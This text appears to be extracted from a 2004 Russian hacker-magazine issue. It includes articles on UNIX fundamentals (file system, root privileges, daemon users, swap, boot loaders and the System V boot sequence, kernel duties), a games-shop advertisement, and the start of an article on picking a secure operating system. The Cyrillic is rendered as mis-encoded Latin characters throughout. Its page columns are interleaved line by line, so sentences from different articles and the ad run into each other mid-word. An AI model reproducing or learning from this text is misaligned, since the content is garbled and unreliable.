õîäíûõ êîäîâ. Òàêèì îáðàçîì, ìû ïî-      ÀÊÑÈÎÌÛ UNIX-LIKE ÎÑ                     ôàéëà, ôèçè÷åñêîì ðàñïîëîæåíèè
ëó÷àåì ïðàêòè÷åñêè óíèâåðñàëüíóþ                                                  ôàéëà íà äèñêå, ðàçìåðå â áàéòàõ, äà-
ÎÑ ñî ìíîæåñòâîì ïðèëîæåíèé.             Ñîáñòâåííàÿ ôàéëîâàÿ ñèñòåìà             òà ñîçäàíèÿ, âðåìÿ ïîñëåäíåé ìîäè-
                                              Îñíîâíûìè ïîíÿòèÿìè ôàéëîâûõ        ôèêàöèè, ïîñëåäíåãî îáðàùåíèÿ ê
Ñâîáîäíîå ðàñïðîñòðàíåíèå                ñèñòåì *nix ÿâëÿþòñÿ ñëåäóþùèå:          ôàéëó, èíôîðìàöèÿ î ïðèâèëåãèÿõ
    Ýòî îäèí èç îñíîâíûõ ïëþñîâ            Êàòàëîã (àíàëîãèÿ â Windows – ïàï-     äîñòóïà. Âñå inode ïðîíóìåðîâàíû è
UNIX-êëîíîâ íàøèõ äíåé. Èçíà÷àëü-        êà, äèðåêòîðèÿ) - ýòî, ïðåæäå âñåãî,     ñîäåðæàòñÿ â îñîáîì îòäåëå ôàéëî-
íî UNIX áûëà ïëàòíîé è çàêðûòîé          ôàéë, ñîäåðæàùèé ñèñòåìíóþ èíôîð-        âîé ñèñòåìû. Äëÿ ÎÑ ïîðÿäêîâûé íî-       Â ñèñòåìå
                                                                                                                           UNIX èñ-
ñèñòåìîé, íî ñ òå÷åíèåì âðåìåíè âñå      ìàöèþ î ôàéëàõ, âõîäÿùèõ â äàííûé        ìåð ôàéëà åñòü óíèêàëüíîå èìÿ ôàé-       ïîëüçóåòñÿ
èçìåíèëîñü â ëó÷øóþ ñòîðîíó, è ñåé-      êàòàëîã. Â äèðåêòîðèè ìîãóò áûòü êàòà-   ëà. Ïîëíîå èìÿ îáúåêòà ïî åãî íîìåðó     âûòåñíÿþ-
                                                                                                                           ùàÿ ìíîãî-
÷àñ àêòèâíî ðàçâèâàþòñÿ äâå îñíîâ-       ëîãè áîëåå íèçêîãî óðîâíÿ, îáû÷íûå       óñòàíàâëèâàåòñÿ ñ ïîìîùüþ òàáëèöû        çàäà÷íîñòü,
íûõ ëèöåíçèè äëÿ *nix: BSD (ïîä íåé      ôàéëû, ñïåöèàëüíûå ôàéëû. Êàòàëîãè       èåðàðõèè êàòàëîãîâ.                      áàçèðóþùà-
âûïóñêàåòñÿ FreeBSD) è GPL. Îñíîâ-       ñîçäàåò ïîëüçîâàòåëü èëè ñèñòåìà ïðè                                              ÿñÿ íà ïî-
                                                                                                                           íÿòèÿõ ïðè-
íîå îòëè÷èå BSD îò GPL â òîì, ÷òî, â     âûïîëíåíèè îïðåäåëåííûõ äåéñòâèé.        Ñóùåñòâóåò îäèí ãëàâíûé                  îðèòåòà è
ïðèíöèïå, ïî èíèöèàòèâå ðàçðàáîò-          Îáû÷íûé ôàéë (àíàëîãèÿ â Windows       àäìèíèñòðàòîð – root, è îí áîã           êâàíòîâà-
                                                                                                                           íèÿ.
÷èêîâ âîçìîæíî ïðåâðàùåíèå ïðî-          – âñå ôàéëû ñèñòåìû). Âñÿ èíôîðìà-       äàííîãî õîñòà
äóêòà èç ñâîáîäíîãî â çàêðûòûé, êîì-     öèÿ, õðàíèìàÿ íà êîìïüþòåðå, ñîäåð-          Ýòà îñîáåííîñòü ïîëíîñòüþ ñîîò-
ìåð÷åñêèé. Ñàìàÿ äåìîêðàòè÷íàÿ è         æèòñÿ â îáû÷íûõ ôàéëàõ. Ñîçäàâàòü,       âåòñòâóåò äóõó UNIX: åñëè òû - àäìèí,
ïîïóëÿðíàÿ íà ñåãîäíÿøíèé äåíü -         óäàëÿòü, èçìåíÿòü ôàéëû ìîæåò ëþáîé      òî ýòî ïîäðàçóìåâàåò òâîè îáøèðíûå
ýòî GPL, ïîä íåé âûïóñêàåòñÿ Linux è     ïîëüçîâàòåëü, èìåþùèé ïðàâà íà çà-       çíàíèÿ â äàííîé îáëàñòè. Âëàñòè root’a
åãî êëîíû. Ñóùåñòâóþò òàêæå ðàçíî-       ïèñü â êàòàëîã è èçìåíåíèå ôàéëà.        õâàòèò íà ëþáîå äåéñòâèå â ñèñòåìå: îò
ãî âèäà êîììåð÷åñêèå ëèöåíçèè, îñ-       Èìåííî â ôàéëàõ ñîäåðæàòñÿ âñå ñèñ-      ïðî÷òåíèÿ äîìàøíèõ êàòàëîãîâ ïîëü-
íîâàííûå íà ïðîäàæå ÎÑ.                  òåìíûå ïðîãðàììû, íàñòðîéêè è äàííûå.    çîâàòåëåé äî óäàëåíèÿ âñåõ ôàéëîâûõ
                                           Ñïåöèàëüíûé ôàéë - îñîáûé òèï          ñèñòåì íà æåñòêîì äèñêå, ïðè÷åì îí
Íåòðåáîâàòåëüíîñòü                       ôàéëîâ, ïðèñóùèé *nix-ñèñòåìàì.          äàæå íå ïîëó÷èò íè îäíîãî ïðåäóïðåæ-
ê ðåñóðñàì PC                            Ïðåäñòàâëÿåò ñîáîé ñëóæåáíóþ çà-         äåíèÿ îò ñèñòåìû. Êîíöåïöèÿ UNIX
    Íà ñåãîäíÿøíèé äåíü äëÿ õ86          ïèñü íà äèñêå, ñèìâîëèçèðóþùóþ ñî-       ïîäðàçóìåâàåò ãðàìîòíîãî àäìèíà-
*nix-ñèñòåìû - ñàìûå ìàëîòðåáîâà-        êåò, ó÷àñòîê ïàìÿòè, ïðîöåññ è íåêîòî-   root’a, â îòëè÷èå îò òâîðåíèÿ Á.Ã.
òåëüíûå îòíîñèòåëüíî àïïàðàòíîé          ðûå äðóãèå âåùè. ×àùå âñåãî ýòè
                                                                                  Þçåðû ìîãóò äåëàòü òîëüêî
                                                                                  òî, ÷òî ÿâíî ðàçðåøåíî
  ÊÍÈÃÈ Î UNIX                                                                        Îäíà èç ñàìûõ ñèëüíûõ ñòîðîí
                                                                                  ïîëüçîâàòåëüñêîé ìîäåëè *nix-ñèñ-
  http://ois.mesi.ru/html_docs/BACH/ - ïîäðîáíàÿ êíèãà, êîòîðóþ                   òåì. Àäìèíèñòðàòîð ïðè ñîçäàíèè
                                                                                  ó÷åòíîé çàïèñè íîâîãî þçåðà äàåò
  ìîæíî ñêà÷àòü â 1 zip-àðõèâå.
                                                                                  åìó îïðåäåëåííûå ïðàâà è âîçìîæ-
  http://linuxdoc.chat.ru/obsh/rukadmina/index.html - êíèãà 95-ãî ãî-             íîñòè äëÿ ðàáîòû ñ ñèñòåìîé. Ðàçäå-
  äà, íî ñâîåé àêòóàëüíîñòè îíà íå ïîòåðÿëà.                                      ëåíèå ïðàâ íà ôàéëû ïðîèñõîäèò ñ
                                                                                  ïîìîùüþ àòðèáóòîâ. Äîñòàòî÷íî çàï- »
                                       10      ÒÅÎÐÈß        ÎÒÅÖ ÄÅÌÎÍÀ È ÏÈÍÃÂÈÍÀ

                                     ðåòèòü ÷òåíèå ôàéëà, óñòàíîâèâ ñîîò-      íèÿ þçåð áóäåò íàõîäèòüñÿ â ñèñòåìå,     swap-ðàçäåëà â îïåðàòèâíóþ ïàìÿòü
                                     âåòñòâóþùèé áèò, è íèêòî, êðîìå           êàê áóäòî îí ðàáîòàåò ñ ôèçè÷åñêîãî      ïî çàïðîñó. Ïðè çàïóñêå ëþáîãî ïðè-
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                     root’a, íå ñìîæåò óçíàòü ñîäåðæèìîå.      ëîêàëüíîãî òåðìèíàëà. Ñïåöèàëüíûå        ëîæåíèÿ ÿäðî UNIX çàãðóæàåò ëèøü
                                     Êðîìå î÷åíü ãèáêîé ìîäåëè àòðèáó-         ïîëüçîâàòåëè (âèðòóàëüíûå), òàêèå,       ìèíèìàëüíî íåîáõîäèìûé äëÿ çàïóñ-
                                     òîâ, àäìèí äåëèò ïîëüçîâàòåëåé íà         êàê, nobody, ftp, anonymous, ïðèñóò-     êà êóñîê êîäà, ïîñëå ÷åãî ïåðåäàåò
                                     ðåàëüíûõ, òî åñòü òåõ, êîòîðûå ìîãóò      ñòâóþò â ñèñòåìå òîëüêî êàê àêêàóíòû,    åìó óïðàâëåíèå. Ïîñëå ýòîãî ðàáîòà,
                                     çàõîäèòü ñ òåðìèíàëà èëè óäàëåííî         è âõîä ñ ýòèõ ó÷åòíûõ çàïèñåé ÷åðåç      êàê ñ ôèçè÷åñêîé ïàìÿòüþ, òàê è ñî
                                     ïî ñåòè, è íà ñïåöèàëüíûõ – òåõ, ó êîãî   òåðìèíàëû íåâîçìîæåí. Îíè èñïîëü-        swap, áóäåò ðåãóëèðîâàòüñÿ çàïðîñà-
                                     åñòü ïðàâà äëÿ âûïîëíåíèÿ êàêîé-ëè-       çóþòñÿ äëÿ îáùåñèñòåìíûõ ñåðâèñîâ        ìè ïðîãðàììû. Åñëè â õîäå âûïîëíå-
                                     áî èç îïðåäåëåííûõ çàäà÷. Íàïðèìåð,       ñ öåëüþ îãðàíè÷åíèÿ èõ ïðàâ: òàê äå-     íèÿ ñîôòèíû îáíàðóæèòñÿ, ÷òî çàïðà-
                                     îáû÷íûé ïîëüçîâàòåëü Vasya, èìåÿ          ìîí ftp çàïóñêàåòñÿ îò ïîëüçîâàòåëÿ      øèâàåìûé âèðòóàëüíûé àäðåñ äàííî-
                                     àêêàóíò íà ìàøèíå, ìîæåò ïîäêëþ-          ftp, Apache - îò nobody; ýòî íåîáõîäè-   ãî äåñêðèïòîðà ïðîöåññà îòñóòñòâóåò,
                                     ÷àòüñÿ ê íåé ñ ïîìîùüþ êëàâû-ìîíè-        ìî äëÿ ïîâûøåíèÿ áåçîïàñíîñòè è          òî ìåíåäæåð âèðòóàëüíîé ïàìÿòè îá-
                                     òîðà (êàê îáû÷íûé þçåð ëîêàëüíîãî         ñòàáèëüíîñòè ñèñòåìû.                    ðàòèòñÿ ê äèñêó è çàãðóçèò íåîáõîäè-
                                     ÏÊ), ÷åðåç ssh èç ëþáîé òî÷êè ïëàíå-                                               ìûé êóñîê äàìïà â îïåðàòèâêó. Êîãäà
                                     òû (åñëè íåò îãðàíè÷åíèé íà ìåñòî         Ó äåìîíîâ ìèíèìàëüíî                     áóäåò èñïîëüçîâàíà âñÿ äîñòóïíàÿ
                                     ïîäêëþ÷åíèÿ), èñïîëüçóÿ ìîäåì è           íåîáõîäèìûå ïðèâèëåãèè                   ôèçè÷åñêàÿ îáëàñòü, ìåíåäæåðó âèð-
                                     òåðìèíàëüíóþ ïðîãðàììó (minicom,               ïåðâîíà÷àëüíûõ ðåäàêöèÿõ           òóàëüíîé ïàìÿòè ïðèäåòñÿ âûãðóçèòü
                                     telemax, ñòàíäàðòíûé òåðìèíàë Âèí-        UNIX ýòîãî íå áûëî, íî ñ ïðèõîäîì ñå-    êàêóþ-òî ÷àñòü äàííûõ íà äèñê, î ÷åì
                                     äîâ). Ïðè ëþáîì ñïîñîáå ïîäêëþ÷å-         òåé è õàêåðîâ ðàçðàáîò÷èêè çàäóìà-       áóäåò ñäåëàíà ñîîòâåòñòâóþùàÿ çà-
                                                                               ëèñü è äîðàáîòàëè êîíöåïöèþ ñèñòå-       ïèñü. Äëÿ âûáîðà âûìåùàåìûõ ñòðà-
                                                                               ìû. Íà ïðàêòèêå ýòî âûãëÿäèò òàê: ó      íèö íåîáõîäèìî ïðîâåñòè àíàëèç, ÷òî-
                                                                               êàæäîãî êðóïíîãî ñåðâèñà åñòü            áû íå ñáðîñèòü ñåãìåíò, íåîáõîäèìûé
                                                                               “ñâîé” ñïåöèàëüíûé ïîëüçîâàòåëü, îò      äëÿ ðàáîòû, ÷åðåç íåñêîëüêî òàêòîâ.
                                                                               åãî ó÷åòíîé çàïèñè çàïóñêàþòñÿ âñå       Ýòó ôóíêöèþ âûïîëíÿåò ñïåöèàëü-
                                                                               ïðîöåññû äàííîãî ñåðâåðà. Òàê, íàï-      íûé ïðîöåññ pageout.
                                                                               ðèìåð, äëÿ web-ñåðâåðà Apache ïðàê-
                                                                               òè÷åñêè âñåãäà ñîçäàåòñÿ ñïåöèàëü-       ÃËÀÂÍÎÅ – ÇÀÃÐÓÇÈÒÜÑß!
                                                                               íûé ïîëüçîâàòåëü nobody, íà âñå ðà-          “Loading UNIX” – ôðàçà, ãîâîðÿ-
                                                                               áî÷èå êàòàëîãè ñòàâèòñÿ âëàäåëüöåì       ùàÿ î ìíîãîì. Ðàññìîòðèì äâà îñ-
                                                                               ýòîò þçåð è ðàçäàþòñÿ ñîîòâåòñòâóþ-      íîâíûõ ñïîñîáà çàãðóçêè ÿäðà ñèñòå-
                                                                               ùèå ïðàâà, ïîñëå ÷åãî â init-ñêðèïòå     ìû. Ïî÷åìó ÿäðà, à íå âñåé ÎÑ? Ïî-
                                                                               ïðîïèñûâàåòñÿ ëîãèí “nobody”.  ðå-      òîìó ÷òî áóäåò îòëè÷àòüñÿ òîëüêî
                                                                               çóëüòàòå – ðåçêîå ïîâûøåíèå áåçî-        çàãðóçêà ÿäðà, ïîñëå òîãî êàê îíî áó-
                                                                               ïàñíîñòè âñåãî õîñòà: äàæå åñëè áóäåò    äåò â ïàìÿòè, âñå îñòàëüíîå çàãðóæà-
                                                                               íàéäåíà óÿçâèìîñòü â äåìîíå, òî          åòñÿ ñòàíäàðòíîé è îòëàæåííîé ïðî-
                                                                               âçëîìùèê ïîëó÷èò ïðàâà íåïðèâèëå-        öåäóðîé. Ñàìûé ïðîñòîé âàðèàíò –
                                                                               ãèðîâàííîãî ïîëüçîâàòåëÿ apache.         ýòî Boot-äèñêåòà. Õîä çàãðóçêè ñèñòå-
                                                                                                                        ìû ïðè òàêîì ñïîñîáå âûãëÿäèò
                    Çàãðóç÷èê GRUB
                                                                               Íàëè÷èå ñðåäñòâ äëÿ                      î÷åíü ïðîñòî: ïîñëå íà÷àëüíîãî òåñ-
                                                                               âûïîëíåíèÿ ïðîñòûõ äåéñòâèé              òà BIOS ïåðåäàåò óïðàâëåíèå çàãðó-
                                                                                   *nix-ñèñòåìû îòëè÷àþòñÿ îò ìíîæå-    çî÷íîé îáëàñòè äèñêåòû, ãäå ñîäåð-
                                                                               ñòâà äðóãèõ ÎÑ òåì, ÷òî ëþáîå ñàìîå      æèòñÿ êîä, ðàñïàêîâûâàþùèé ÿäðî
                                                                               ñëîæíîå äåéñòâèå ìîæíî ëåãêî ðàç-        UNIX â îïåðàòèâíóþ ïàìÿòü. Ïîñëå
                                                                               áèòü íà íåñêîëüêî áîëåå ïðîñòûõ, ðåà-    ðàñïàêîâêè íà÷èíàåòñÿ ñòàíäàðòíîå
                                                                               ëèçóåìûõ ñ ïîìîùüþ âñòðîåííûõ            ìîíòèðîâàíèå êîðíåâîãî ðàçäåëà. Íî
                                                                               ñðåäñòâ. Òî åñòü åñëè ïîëüçîâàòåëü õî-   òàêîé ïðîñòîé âàðèàíò ïðèìåíÿåòñÿ
                                                                               ðîøî çíàåò âîçìîæíîñòè UNIX-àðõè-        òîëüêî äëÿ äèñêåò áåç ôàéëîâûõ
                                                                               òåêòóðû è ÷åòêî ïðåäñòàâëÿåò ñåáå ðå-    ñèñòåì. Äëÿ âèí÷åñòåðîâ èñïîëüçó-
                                                                               çóëüòàò ñâîèõ òðóäîâ, òî äîáèòüñÿ åãî    þò íåñêîëüêî óñëîæíåííûé âàðèàíò
                                                                               áóäåò î÷åíü ëåãêî. Ïðèìåðàìè ñðåäñòâ,    çàãðóçêè. Ïðè÷èíà ýòîãî äîñòàòî÷íî
                                                                               çàìåòíî óïðîùàþùèõ ðåàëèçàöèþ ëþ-        ïðîñòàÿ: ÿäðî íå ìîæåò áûòü çàïèñà-
                                                                               áîé çàäà÷è, ìîãóò ñëóæèòü òàêèå îáùå-    íî â ïåðâûå ñåêòîðà, òàê êàê òàì íà-
                                                                               èçâåñòíûå ïðèëîæåíèÿ, êàê cron (ïåðè-    õîäèòñÿ òàáëèöà ðàçìåòêè æåñòêîãî
                                                                               îäè÷åñêèé çàïóñê çàäà÷), ïåðåíàïðàâ-     äèñêà è îïèñàíèÿ âñåõ ÔÑ, ïðè ïîð÷å
                                                                               ëåíèÿ âûâîäîâ è ââîäîâ ñ òåðìèíàëà,      ýòèõ äàííûõ èñïîëüçîâàòü õàðä
                                                                               syslog (ëîãèðîâàíèå âñåõ äåéñòâèé â      ïðîñòî íåâîçìîæíî. Ïîýòîìó ðàçðà-
                                                                               ñèñòåìå), ðàçëè÷íûå êîìáèíàöèè           áîò÷èêè ïðèìåíèëè óñëîæíåííûé àë-
                                                                               äåéñòâèé íà ÔÑ è ìíîãîå äðóãîå.          ãîðèòì èíèöèàëèçàöèè ÿäðà. Ïîñëå
                                                                                                                        POST-òåñòà óïðàâëåíèå, êàê îáû÷íî,
                                                                               Ñâîïèíã ïîçâîëÿåò ðàáîòàòü               ïåðåäàåòñÿ çàãðóçî÷íîé îáëàñòè
                                                                               ýôôåêòèâíåé                              æåñòêîãî äèñêà, ãäå õðàíèòñÿ ìèíèà-
                                                                                   Ìåõàíèçì âèðòóàëüíîé ïàìÿòè          òþðíàÿ ïðîãðàììà, âñÿ ðàáîòà êîòî-
                                                                               ïîääåðæèâàåòñÿ âñåìè êëîíàìè UNIX        ðîé ñâîäèòñÿ ê çàïóñêó ãëàâíîãî çàã-
                                                                               íà óðîâíå ÿäðà. Åñòü äâà îñíîâíûõ        ðóç÷èêà ÎÑ, îáëàäàþùåãî äîñòàòî÷-
                                                                               ñïîñîáà îðãàíèçàöèè swap-ïðîñòðàí-       íîé ôóíêöèîíàëüíîñòüþ è ãèá-
                                                                               ñòâà: ðàçäåë íà æåñòêîì äèñêå (èëè îò-   êîñòüþ äëÿ çàïóñêà ÿäðà. Òàêèì
                                                                               äåëüíûé âèí÷åñòåð, òîëüêî ïîä swap)      “áîëüøèì” çàãðóç÷èêîì ìîæåò áûòü
                                                                               èëè ôàéë íà ñóùåñòâóþùåì ðàçäåëå.        LILO, GRUB èëè ñòàíäàðòíûé BSD-
                                                                               Èñïîëüçîâàíèå ðàçäåëà èëè îòäåëüíî-      loader. À óæå ýòîò çàãðóç÷èê êîïèðó-
                                                                               ãî âèí÷åñòåðà ïðåäïî÷òèòåëüíî èç ñî-     åò ÿäðî â ïàìÿòü, ïåðåäàâ åìó íåîá-
                                                                               îáðàæåíèé ñêîðîñòè îáìåíà äàííûõ.        õîäèìûå ïàðàìåòðû. Êàê âèäèøü,
                                                                                  UNIX ââåäåí ïðèíöèï ïåðåìåùå-        ïðè çàãðóçêå ñ âèí÷åñòåðà èñïîëüçó-
                    Ñõåìà ðàçâèòèÿ ìèðà UNIX                                   íèÿ âèðòóàëüíûõ ñòðàíèö ïðîöåññà èç      þòñÿ äâóõóðîâíåâûå ïðîãðàììû.
                                      ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                         ÈÃÐÛ
                                                                                                         ÏÎ ÊÀÒÀËÎÃÀÌ
                                                                                                          Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ
                                                               www.gamepost.ru                       PC Games                             www.e-shop.ru

                                                               ÐÅÀËÜÍÅÅ,
 Ñâîáîäíûé UNIX äëÿ ñâîáîäíûõ ëþäåé
                                                                          ×ÅÌ Â ÌÀÃÀÇÈÍÅ
  ß õî÷ó ïðîäîëæèòü ðàññêàç î ñõåìå çàãðóçêè UNIX-ñèñ-
òåì, òàê êàê çàãðóçêà ÿâëÿåòñÿ åùå îäíèì àðõèòåêòóð-
                                                                   ÁÛÑÒÐÅÅ,           ×ÅÌ ÒÛ ÄÓÌÀÅØÜ
                                                                                                                     $42.99 (Blizzard) Warcraft III Action
íûì ðåøåíèåì ñîîáùåñòâà ðàçðàáîò÷èêîâ ÎÑ. Ñóùåñò-                                                                               Figure: Shandris Feathermoon
âóåò äâå îñíîâíûå ñõåìû çàãðóçêè UNIX è åãî êëîíîâ:                                                                             Warcraft III Action Figure:
BSD è System V. BSD-òèï ïðèìåíÿåòñÿ âî ìíîãèõ BSD-                                                                              Muradin Bronzebeard
ñèñòåìàõ è â íåêîòîðûõ äèñòðèáóòèâàõ Linux (Gentoo,
                                                                                                                                           $42.99
Slackware). Ñõåìà BSD ïðîùå System V, íî è âîçìîæíîñ-
òåé ó íåå ìåíüøå. Ðàññìîòðèì áîëåå ïðîãðåññèâíóþ
System V. Ñíà÷àëà çàãðóæàåòñÿ ÿäðî ÎÑ, áóäü òî UNIX,
BSD-êëîí èëè Linux-êëîí, ïîñëå ýòîãî ÿäðî ìîíòèðóåò
êîðíåâóþ ôàéëîâóþ ñèñòåìó, ññûëêà íà êîòîðóþ åìó ïå-
                                                                                                              $42.99
ðåäàíà ïàðàìåòðîì çàãðóç÷èêà. Ïðè óäà÷íîì çàâåðøå-
íèè îïåðàöèè íà÷èíàåòñÿ ïîèñê ñëóæåáíîãî êàòàëîãà
/sbin; åñëè îí íå îáíàðóæèâàåòñÿ, òî ñèñòåìà âûäàåò                                         (Blizzard) Warcraft
“Kernel panic”. Çàòåì ïðîèñõîäèò çàïóñê ãëàâíîãî ïðî-                                           III Action Figure:
öåññà Init: îòäàåòñÿ êîìàíäà /sbin/init. Ïîñëå ÷åãî óæå Init               $42.99                   Prince Arthas
îáðàùàåòñÿ ê êàòàëîãó /etc è èùåò òàì ôàéë inittab, ãäå                   WarCraft III Action Figure:
óêàçàí íåîáõîäèìûé óðîâåíü çàïóñêà. Îñòàëîñü íå òàê                       Ticondrius
óæ ìíîãî: init ÷èòàåò è àíàëèçèðóåò ñîäåðæèìîå ñâîåãî
                                                                   $75.99                $79.99                       $79.99                    $59,99
êîíôèãóðàöèîííîãî ôàéëà, à çàòåì çàïóñêàåò íåîáõîäè-
ìûå ñåðâèñû, ìîíòèðóåò ëîêàëüíûå ôàéëîâûå ñèñòåìû,
ïîäíèìàåò ñåòåâûå èíòåðôåéñû, ìîíòèðóåò óâàëåííûå
ôàéëîâûå ñèñòåìû è çàïóñêàåò îñòàâøèåñÿ ñåðâèñû. Íà
çàâåðøåíèå ïðîöåññà çàãðóçêè óêàæåò (åñëè ñèñòåìà
çàãðóçèòñÿ íå â multiuser mode) ïîÿâèâøååñÿ ïðèãëàøå-
íèå ââåñòè ëîãèí è ïàðîëü ïîëüçîâàòåëÿ.
                                                               Doom 3                 Final Fantasy XI               Half-Life 2             Unreal
ßÄÐÎ – ÂÑÅÌÓ ÃÎËÎÂÀ!                                                                                                                         Tournament 2004
    Ãëàâíûì, îïðåäåëÿþùèì àðõèòåêòóðó ñèñòåìû çâåíîì
ÿâëÿåòñÿ ÿäðî. Âñå ÿäðà *nix-ñèñòåì äîëæíû âûïîëíÿòü              $69.99                $31,99                        $36.99                    $22.99
ñëåäóþùèå ôóíêöèè:
 - óïðàâëåíèå ðàáîòîé ïðîöåññîâ: ñîçäàíèå, çàâåðøåíèå è
îðãàíèçàöèÿ âçàèìîäåéñòâèÿ ìåæäó íèìè.
 - ïëàíèðîâàíèå î÷åðåäíîñòè ðàáîòû ïðîöåññîâ, ïåðåêëþ-
÷åíèå âûïîëíÿåìûõ çàäà÷. Ñþäà âõîäèò è ðàññòàíîâêà
ïðèîðèòåòîâ äëÿ çàäà÷è óïðàâëåíèÿ ìóëüòèïðîöåññîðíû-
ìè ñèñòåìàìè.                                                                                                     Diablo II è Diablo II
 - âûäåëåíèå ïðîöåññó íåîáõîäèìîé îïåðàòèâíîé ïàìÿòè.          Lineage II: The       Grand Theft Auto:           Expansion Set: Lord
                                                                                                                of Destruction (èãðà +
                                                                                                                                              The Sims 2
Ïðè åå íåäîñòàòêå – âêëþ÷åíèå ìåõàíèçìà swap. Òàêæå ÿä-        Chaotic Chronicle     Vice City                       äîïîëíåíèå)

ðî ñëåäèò çà îáðàùåíèåì ïðèëîæåíèÿ ê çàïðåùåííûì                                           $45,99                     $49,99
                                                                   $79.99                                                                       $59,99
ó÷àñòêàì, ê ñîñåäíèì ñåãìåíòàì è â ñëó÷àå ãåíåðàöèè ïðî-
öåññîðíîãî èñêëþ÷åíèÿ ñíèìàåò ñáîéíûé ïðîöåññ, çàïèñû-
âàåò ñîîáùåíèå â ñèñòåìíûé æóðíàë.
 - ïðåäîñòàâëåíèå âûñîêîóðîâíåâîãî äîñòóïà ê âèí÷åñòå-
ðó è äðóãèì íîñèòåëÿì èíôîðìàöèè. ßäðî ïîäêëþ÷àåò
ôàéëîâûå ñèñòåìû è äàåò ïðîñòîé èíòåðôåéñ ïî âçàèìî-
äåéñòâèþ ñ íèìè. Âñå ýòî äåëàåòñÿ ñ ó÷åòîì ïðàâ íà ôàéëû
è êâîò äëÿ ïîëüçîâàòåëÿ.
                                                               Rome: Total War         Doom                    Quake III                    Final Fantasy XI:
 - Óïðàâëåíèå ïåðèôåðèåé. Ïðåäîñòàâëåíèå ïðîöåññàì                                     Collector's Bundle      Gold Edition                     Chains of
                                                                                                                                               Promathia
äîñòóïà ê âíåøíèì óñòðîéñòâàì. Îáåñïå÷åíèå ðàáîòû âñåé                                                                                         Expansion
ïåðèôåðèè – çàäà÷à ÿäðà è åãî îêðóæåíèÿ. Äðàéâåðà óñò-
ðîéñòâ ìîãóò êàê âêëþ÷àòüñÿ â ÿäðî, òàê è áûòü ïîäãðóæàå-      Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!                            www.gamepost.ru
ìûìè ìîäóëÿìè. Èñïîëüçîâàíèå ìîäóëåé íåâîçìîæíî â              Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü                            ñ 09.00 äî 21.00 ïí - ïò
íåêîòîðûõ ñòàðûõ ïðåäñòàâèòåëÿõ ñåìåéñòâà UNIX.                                                                            ñ 10.00 äî 19.00 ñá - âñ

INIT 6
   *nix-ñèñòåìà èìååò äîñòàòî÷íî ïðîñòóþ è ëîãè÷åñêè           (095) 928-6089 (095) 928-0360 (095) 928-3574
ïðàâèëüíóþ àðõèòåêòóðó. ÎÑ UNIX óñòîé÷èâà è äðóæå-
ëþáíà, âîò òîëüêî äðóçåé äëÿ ñåáÿ îíà âûáèðàåò î÷åíü è
î÷åíü òùàòåëüíî. E
                                     12     ÒÅÎÐÈß         ÎÑ ÄËß ÊÐÅÌËß

                         Dr.Vint (vint@vpost.ru)
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                         ÎÑ ÄËß ÊÐÅÌËß
                         ÈÙÅÌ ÑÀÌÓÞ ÇÀÙÈÙÅÍÍÓÞ ÑÈÑÒÅÌÓ
                             òàáèëüíàÿ, áåçîïàñíàÿ, íåóÿçâèìàÿ, îòêàçîóñòîé÷èâàÿ –
                         Ñ ïðè âûáîðåñèñòåìû, ìàêñèìàëüíî çàùèùåííîé è óäîáíîé.âîò êàêèå õàðàêòåðèñòèêè ÿâëÿþòñÿ îñíîâîïîëàãàþùèìè
                         îïåðàöèîííîé
                                        îïåðàöèîííîé ñèñòåìû äëÿ îòâåòñòâåííîé ðàáîòû. Ýòà ñòàòüÿ ïîìîæåò ñ âûáîðîì èìåííî áàçîâîé




                                                  àìûìè íàäåæíûìè ñ÷è-     ñàìûå áåçîïàñíûå è çàùèùåííûå             ðåàëüíîãî âðåìåíè, ñîâìåñòèìàÿ ñî


                                     Ñ            òàþòñÿ *nix. Ó íèõ
                                                  î÷åíü ìíîãî ïëþñîâ -
                                                  îò ïðîñòîé ëîãèêè ðà-
                                                  áîòû ñ ïîëüçîâàòåëåì
                                   äî âûñîêîé îòêàçîóñòîé÷èâîñòè. Íî
                                                                           âåðñèè ñîôòà.
                                                                             Ñàìûì ÿðêèì è èçâåñòíûì ïðåäñòà-
                                                                           âèòåëåì ëèíåéêè BSD ÿâëÿåòñÿ
                                                                           FreeBSD. Î÷åíü ìíîãèå ñåðâåðà êðóï-
                                                                           íûõ îðãàíèçàöèé èñïîëüçóþò èìåííî
                                                                                                                     ñòàíäàðòîì POSIX. Òî åñòü îíà ìîæåò
                                                                                                                     ðàáîòàòü ñ î÷åíü ìíîãèì ÏÎ, íàïèñàí-
                                                                                                                     íûì äëÿ UNIX. Îñíîâíîå îòëè÷èå QNX
                                                                                                                     îò âñåõ îñòàëüíûõ îïåðàöèîíîê â òîì,
                                                                                                                     ÷òî ýòî ñèñòåìà ðåàëüíîãî âðåìåíè,
                                   íå âñå éîãóðòû îäèíàêîâî ïîëåçíû, à     ýòîò êëîí UNIX. Èç îñíîâíûõ ïëþñîâ        âçëîìîâ êîòîðîé çàðåãèñòðèðîâàíî íå
                                   *nix îäèíàêîâî ñòàáèëüíû – íåêîòîðûå    ìîæíî âûäåëèòü ïðîâåðÿåìóþ ãîäàìè         áûëî âîîáùå. Ïîñëå íåáîëüøîãî çíà-
                                   èç íèõ ïðîñòî íå ðàññ÷èòàíû íà ñîçäà-   àðõèòåêòóðó, îòëàæåííóþ ñõåìó âçàè-       êîìñòâà ñ íàøèìè êàíäèäàòàìè ïðåä-
                                   íèå áåçîïàñíûõ õîñòîâ. Îïðåäåëèìñÿ      ìîäåéñòâèÿ êîìïîíåíòîâ, ìèíèìàëü-         ëàãàþ ïåðåéòè ê èññëåäîâàíèþ áåçî-
                                   ñ òðåáîâàíèÿìè ê ñèñòåìå, ïðè âûïîë-    íîå íàëè÷èå èçâåñòíûõ óÿçâèìîñòåé.        ïàñíîñòè äàííûõ ñèñòåì.
                                   íåíèè êîòîðûõ åå ñìåëî ìîæíî áóäåò      Åùå î÷åíü ñèëüíî ïðèâëåêàåò ðàçâè-
                                   ñòàâèòü íà ñåðâåðà è äðóãèå êðèòè÷åñ-   òàÿ ñèñòåìà ïîðòîâ, êîòîðàÿ ïîçâîëÿ-      LINUX MANDRAKE
